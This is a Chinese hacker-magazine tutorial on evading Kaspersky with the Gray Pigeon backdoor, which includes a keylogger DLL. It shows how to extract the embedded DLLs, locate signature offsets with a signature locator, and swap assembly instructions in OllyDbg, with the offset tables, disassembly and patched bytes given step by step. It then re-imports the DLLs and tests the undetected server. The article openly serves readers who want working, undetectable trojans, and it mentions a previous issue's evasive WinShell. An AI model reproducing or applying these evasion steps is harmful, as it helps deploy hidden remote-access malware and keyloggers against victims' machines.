蝴蝶:上期给大家送上的免杀的WinShell怎么样了?好用吗?大家可不要用它做太多坏事哦!本期我们推出国内经典后门灰鸽子的修改方法,让大家享受一下国内顶尖后门的魅力!不过大家工具倒是会用了,修改的方法会了吗?我们可是一直秉承着“授人以鱼不如授人以渔”的思想哦!希望有一天大家都能自己修改各中后门木马!

修改特征码打造免杀后门之灰鸽子篇

              ——DLL释放型后门的特征码修改

  各位兄弟年过得还好吧?!上期给大家提供的免杀后门好用吗?这一期讲什么呢?嘿嘿,这次来个难度大一点儿的:灰鸽子的特征码修改。什么是灰鸽子就不用我说了吧?先打个预防针:这次修改过程可不像WinShell那么简单!不过学会修改鸽子话,大多数流行的DLL释放式的后门就全是小CASE了。废话不说,直接进入正题。

  修改过程概述

  灰鸽子是一款非常不错的远程控制软件,使用者也很多,因此是各大杀软的必杀对象。较新的鸽子主要功能代码用DLL实现,这增加了程序的隐蔽性,但同时也加大了修改特征码的难度。对于全部功能由一个EXE文件完成的程序,比如鸽子的老版本和WinShell之类,只需要修改EXE本身既可;而对于运行时会释放DLL文件的版本,不但EXE文件本身有特征码(通常在代码段中),而且DLL中也含有大量特征码。因此,修改的大致过程为:导出DLL,修改DLL,DLL导入EXE,修改EXE。下面以灰鸽子1.05版未加壳服务端,卡巴斯基的特征码为例,详细地讲解修改过程。喝口水,准备过草地了。

  DLL文件的导出

  拿到服务端文件,老规矩,先检测,卡巴报警发现Backdoor.Win32.Feutel.a。下面导出服务端包含的DLL,灰鸽子官方教程里用的是ResHacker,而我更偏向于使用PE Explorer。打开服务端文件,点击工具栏里的“Resource Viewer/Editor”,会显示资源的树状结构,其中RCDataMAINDLL就是我们需要导出的文件,如图1所示。



  可以看到PE Explorer已经自动判断出该资源是一个PE文件。在MAINDLL的图标上单击右键,选择“save resources as”,就可以将MAINDLL资源导出。下面做什么?开始修改吗?别急,MAINDLL中还有两个DLL需要导出。再打开刚导出的资源,可以得到另外两个DLL,名字倒是很直接,一个叫HOOK,一个叫GETKEY,如图2所示。



  分别导出这两个DLL,用卡巴斯基检测一下,报警发现了Backdoor.Win32.Feutel.a和Trojan-PSW.Win32.KeyLogger.c。到这里,基本思路就应该确定了,先修改HOOK和GETKEY两个DLL,然后将其导入MAINDLL,再修改MAINDLL的代码段中含有的特征码,完毕后将其导入原服务端EXE文件,最后修改EXE文件的代码段中含有的特征码!可不要打退堂鼓,让我们一步步来。

  修改HOOK

  这是我们第一次修改DLL,但DLL文件的格式和普通的EXE文件其实没有差别,都是标准的PE文件,如果你看了前两期关于特征码定位器使用的文章的话,操作上应该没有什么问题。我们的思路仍旧是:手动定位确定特征码大体范围,自动定位确定精确的位置。

  打开CCL,设置成手动,生成300个文件,然后打开HOOK,不选择任何段,对整个文件进行替换,等程序提示全部文件生成完毕后,用卡巴斯基对目标文件夹检测,并将报警的文件删除,最终结果如下:

        -------------定位结果------------

      序号    起始偏移     大小     结束偏移

    0001    00000000    000002B8    000002B8   

    0002    000140D0    000002B8    00014388   

    0003    0001479C    0000015C    000148F8   

  下面将CCL设置为自动检测,间隔时间为7秒,在输入检测段时将0002和0003的数据添加到待检测栏里,如图3所示。

 

  如果你细心的话会发现这两个偏移其实都在CODE段中,这正说明大多数特征码的位置都存在于代码段里。单击确定,进行自动检测,过程就不说了,详细的操作动画过去的黑防都已提供,最终得到如下定位结果:



        -------------定位结果------------

      序号    起始偏移     大小     结束偏移

    0001    00014193    00000015    000141A8   

    0002    000141A9    0000002A    000141D3   

    0003    000141D5    0000002A    000141FF   

    0004    00014200    0000002A    0001422A   

    0005    0001422C    0000002A    00014256   

    0006    00014257    0000002A    00014281   

    0007    00014283    00000015    00014298   

0008    0001479C    00000015    000147B1

  还真不少,共有8处。修改哪里呢?我的经验是:尽量修改代码,避免修改字符串和数据,因为修改后者必须将每一处调用它的指令都做改动,且在不确定具体含义的情况下很容易出错,不推荐。

先看第一处,用IDA对HOOK进行反汇编,然后找到00014193处,也就是内存偏移00414D93(这里可以用我写的小工具:偏移量转换器,输入文件偏移可以自动计算出内存偏移),这里的代码如下:

CODE:00414D91                 dd offset off_413FB0

CODE:00414D95                 dd 64616D0Bh, 65646F43h, 6B6F6F48h

CODE:00414DA1                 align 4

很显然,这是一些数据,我们甚至不知道它的意义,要修改真是无从下手。于是看第2处,代码如下:

……

CODE:00414DAD                 xor     edx, edx

CODE:00414DAF                 mov     [ebp+var_18], edx

CODE:00414DB2                 mov     [ebp+var_8], edx

CODE:00414DB5                 mov     ebx, eax

CODE:00414DB7                 xor     eax, eax

CODE:00414DB9                 push    ebp

CODE:00414DBA                 push    offset loc_414F97

CODE:00414DBF                 push    dword ptr fs:[eax]

CODE:00414DC2                 mov     fs:[eax], esp

CODE:00414DC5                 xor     eax, eax

CODE:00414DC7                 push    ebp

……

  看来第二处全部是汇编指令,就修改它了。用什么方法呢?前两期我介绍过“指令顺序变换”和“万能跳转”两种方法,当然,能用第一种时尽量用,这里我们也采用变换指令顺序的方法。注意加黑的指令,我们就改变这两句的顺序。修改文件我还是习惯用OllyDbg,因为可以直接进行指令级的操作,你也可以用二进制编辑软件。

  用OD打开HOOK,OD会提示“打开的是DLL,是否用Loaddll进行加载”,点确定,然后来到003E4DA7处。这里又有问题了,为什么刚才用IDA打开时,位置在00414DA7而现在却变成003E4DA7呢?这是因为DLL加载时,加载基址是可变的。给大家讲一个在OD中判断加载基址的方法。单击OD工具栏中的M,会显示出当前进程内存中的所有模块,如图4所示。

 

  根据名称找到加载我们的DLL的位置,图中可以看到00400000已经被LOADDLL给占据了,因此HOOK只能被发配到003D0000了,相应的,在IDA中的地址需要减去一个差值(00400000-003D0000)才能得到OllyDbg中的地址。

  将黑体的指令进行顺序调换,修改如下:

003E4DB7       55              push ebp

003E4DB8       33C0            xor eax,eax

  然后保存修改,再用卡巴斯基来检测一下修改后的HOOK文件,果然,HOOK已经免杀了,是不是很神奇,仅仅修改了三个字节就搞定了!

  修改GETKEY

  下面该第二个DLL了,过程和修改HOOK的一样,就不详述了,简述一下过程:手动定位的结果如下(生成300个文件):

        -------------定位结果------------

      序号    起始偏移     大小     结束偏移

    0001    00000000    000002BC    000002BC   

    0002    000095B5    0000015E    00009713   

    0003    00009DE9    000000AF    00009E98

 然后对95B5和9DE9两个段进行自动定位,最终结果如下:

        -------------定位结果------------

      序号    起始偏移     大小     结束偏移

    0001    00009621    00000015    00009636   

    0002    00009637    0000002A    00009661   

    0003    00009664    0000002A    0000968E   

    0004    0000968F    0000002A    000096B9   

    0005    000096BB    0000002A    000096E5   

    0006    000096E6    0000002A    00009710   

    0007    00009E40    0000002A    00009E6A

  共有7处,还挺多的。原理一样,尽量修改汇编指令,避免字符串和数据。这一次运气不错,第0001段就是汇编指令:

003DA221    .  68 34A63D00     push RC_Data_.003DA634    ;  ASCII "  <"

003DA226    .  8D95 ECFEFFFF   lea edx,dword ptr ss:[ebp-114]

003DA22C    .  8B45 F8         mov eax,dword ptr ss:[ebp-8]

003DA22F    .  E8 68FEFFFF     call RC_Data_.003DA09C

相信修改这几句指令已经难不倒你了,将前三句的顺序调换一下:

003DA221       68 34A63D00     push RC_Data_.003DA634   ;  ASCII "  <"

003DA226       8B45 F8         mov eax,dword ptr ss:[ebp-8]

003DA229       8D95 ECFEFFFF   lea edx,dword ptr ss:[ebp-114]

003DA22F       E8 68FEFFFF     call RC_Data_.003DA09C

保存文件。再次用卡巴斯基检测,呵呵,又免杀了。

  导入HOOK和GETKEY

  OK,两个DLL修改完毕,下面就是将修改过的HOOK和GETKEY导入MAINDLL了。这里有两种方法,一是用二进制编辑软件找开MAINDLL,直接修改改动过的字节;二是借助PE Explorer进行替换,这里用第二种方法。这里有此问题,既不同的工具导入后结果不一样,比如ResHacer和PE Explorer,不过据说后者导入的更好。

  用PE Explorer打开刚才导出的MAINDLL,在资源中分别将GETKEY和HOOK导入。方法为在图标上单击右键并选择“Edit Resource”,然后打开修改过的DLL,如图5所示,确定就OK了,更新完后别忘了保存。

 

  修改MAINDLL

  这时用卡巴斯基对MAINDLL进行检测,仍然报警。前面说过MAINDLL的特征码分两处,一处在HOOK和GETKEY两个DLL中,另一处就在MAINDLL本身的代码段中。现在DLL中的特征码已经被修改过,剩下就是修改本身的特征码了。修改时操作方法不变,先手动定位,结果如下:

        -------------定位结果------------

      序号    起始偏移     大小     结束偏移

    0001    00000000    00000B4E    00000B4E   

    0002    00095C98    00000B4E    000967E6

第0001号肯定是无用的,因此在自动检测时,输入95C98开始,大小B4E的段就行了,自动定位结果如下:

        -------------定位结果------------

      序号    起始偏移     大小     结束偏移

    0001    00095CC5    0000002C    00095CF1   

    0002    00095CF2    0000002C    00095D1E   

    0003    00095D1F    0000002C    00095D4B   

    0004    00095D4C    0000002C    00095D78   

    0005    00095D79    0000002C    00095DA5   

    0006    00095DA6    0000002C    00095DD2   

    0007    00095DD3    00000016    00095DE9

  修改时,我选择了第0006段,这里基址没有产生冲突,因此直接用偏移量转换器得到00095DA6的内存偏移是131D69A6,如图6所示。



此处代码如下:

……

131D69B8    .  8D55 F8         lea edx,dword ptr ss:[ebp-8]

131D69BB    .  8BC6            mov eax,esi

131D69BD    .  E8 02EDFBFF     call MAINDLL_.131956C4

131D69C2    .  8D45 FC         lea eax,dword ptr ss:[ebp-4]

131D69C5    .  8B55 F8         mov edx,dword ptr ss:[ebp-8]

131D69C8    .  E8 8BE2F6FF     call MAINDLL_.13144C58

131D69CD    .  8B45 FC         mov eax,dword ptr ss:[ebp-4]

131D69D0    .  E8 7BE2F6FF     call MAINDLL_.13144C50

……

注意黑体的指令,将其调换顺序既可:

131D69C2       8B55 F8         mov edx,dword ptr ss:[ebp-8]

131D69C5       8D45 FC         lea eax,dword ptr ss:[ebp-4]

  修改完毕后别忘了保存。再次用卡巴斯基检测MAINDLL,嘿嘿,又免杀了。至此,所有的DLL已经修改完毕。计算一下,我们全部才改动6条指令。也许你会问:我怎么知道修改哪两条呢?呵呵,多试试,改多了就总结出经验了。关键是,不能改变原程序的指令运行结果。

  修改服务端

  先导入MAINDLL。同样的方法,用PE Explorer将修改过的MAINDLL导入服务端中,过程就不说了。在导入了MAINDLL后,用卡巴斯基检测服务端EXE文件,已经不报警了。看来鸽子服务端的特征码主要存在于几个DLL中。当然,这是对于卡巴斯基而言,别的杀毒软件可不一定。如果你用别的杀软检测此时的服务端仍然报警的话,还需要对服务段中代码段里的特征码进行修改。

  测试

  修改完毕,打开虚拟机测试。我在Windows 2000+SP4、Windows XP+SP1和Windows XP+sp2中均运行了服务端,没有任何报错,运行后服务端文件自动删除。但是我的老爷机实在是太慢,而且自已对肉鸡不太感冒,所以没有对具体功能进行测试,有兴趣的朋友可以试一试。



  结语

  灰鸽子的免杀就是这样,感觉怎么样?工作量还是挺大的吧?当然,这时的鸽子只能免俄国人的卡巴斯基,要同时做到对各大杀毒软件免杀,就得分别针对各种软件的特征码进行修改,其工作量估计怎么也得花上个一两天吧。还有个前提就是你能熟练使用特征码定位器CCL,并能根据特征码的特点有针对性的修改。但最终打造出的终级免杀鸽子,战斗力直逼超级塞亚人哦!

  最后,你在修改特征码的过程中有什么心得,欢迎来vxer.net与我交流。感谢灰鸽子客服Lǒvの感动o提供的软件和技术支持。